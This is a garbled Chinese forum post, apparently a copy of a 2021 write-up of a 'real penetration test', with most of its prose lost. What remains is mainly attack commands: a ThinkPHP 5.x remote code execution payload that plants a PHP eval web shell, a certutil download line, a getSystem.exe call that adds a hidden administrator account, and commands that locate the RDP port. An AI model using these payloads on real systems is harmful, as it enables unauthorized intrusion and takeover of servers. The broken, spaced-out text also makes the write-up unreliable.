[8] 2021-04-13_记录一次真实的渗透测试

文档创建者:s7ckTeam
浏览次数:13
最后更新:2025-01-15
2021-04-13_记录一次真实的渗透测试   g u o g u o   3 h   2 0 2 1 - 0 4 - 1 3 1 使 g o b y T h i n k P H P 5 . x 2 2 . 1 使 p a y l o a d , s = / i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = s y s t e m & v a r s [ 1 ] [ ] = e c h o % 2 0 a a a ^ < ? p h p % 2 0 @ e v a l ( $ _ P O S T [ % 2 7 x % 2 7 ] ) ; % 2 0 ? ^ > % 2 0 > s h e l l 7 8 . p h p
2 . 2 3 4 使 c e r t u t i l . e x e   - u r l c a c h e   - s p l i t   - f   [ U R L ]   o u t p u t . f i l e c e r t u t i l . e x e   - u r l c a c h e   - s p l i t   - f   h t t p : / / 1 2 7 . 0 . 0 . 1 / t e s t . t x t   t e s t . p h p
6 g e t S y s t e m . e x e 7 8 h t t p s : / / g i t h u b . c o m / u k n o w s e c / g e t S y s t e m g e t S y s t e m . e x e   " w h o a m i " g e t S y s t e m . e x e   " n e t   u s e r   a d m i n 1 2 3   q w e r a s d ! 2 3   / a d d " g e t S y s t e m . e x e   " n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   a d m i n 1 2 3   / a d d "
9 a 0 x e f a 8 = 6 1 3 5 2 b ( ) 1 0               使 3 h R E G   q u e r y   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l "   " S e r v e r W i n S t a t i o n s R D P - T c p   / v   P o r t N u m b e r t a s k l i s t   / s v c   |   f i n d s t r   " T e r " n e t s t a t   - a n o   |   f i n d s t r   " p i d "
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则